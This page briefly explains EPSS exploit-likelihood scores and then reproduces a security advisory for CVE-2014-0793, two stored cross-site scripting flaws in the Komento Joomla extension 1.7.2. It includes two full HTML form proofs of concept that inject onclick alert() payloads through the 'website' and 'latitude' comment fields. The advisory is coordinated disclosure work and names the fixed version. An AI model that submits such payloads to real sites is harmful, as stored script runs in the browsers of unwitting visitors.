EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Advisory ID: HTB23194 Product: Komento Joomla Extension Vendor: Stack Ideas Sdn Bhd. Vulnerable Version(s): 1.7.2 and probably prior Tested Version: 1.7.2 Advisory Publication: January 2, 2014 [without technical details] Vendor Notification: January 2, 2014 Vendor Patch: January 2, 2014 Public Disclosure: January 23, 2014 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2014-0793 Risk Level: Medium CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks. 1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793 1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author. The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment: <form action="http://[host]/?option=com_komento" method="post" name="main"> <input type="hidden" name="tmpl" value="component"> <input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='http://www.htbridge.com" onclick="javascript:alert(/immuniweb/);"'> <input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value=''> <input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment"> <input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form> 1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author. The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment: <form action="http://[host]/?option=com_komento" method="post" name="main"> <input type="hidden" name="tmpl" value="component"> <input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='www.htbridge.com'> <input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value='" onclick="javascript:alert(/imuniweb/);">'> <input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment"> <input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Update to Komento 1.7.3 More Informaion: http://stackideas.com/downloads/changelog/komento ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23194 - https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in Komento Joomla Extension.
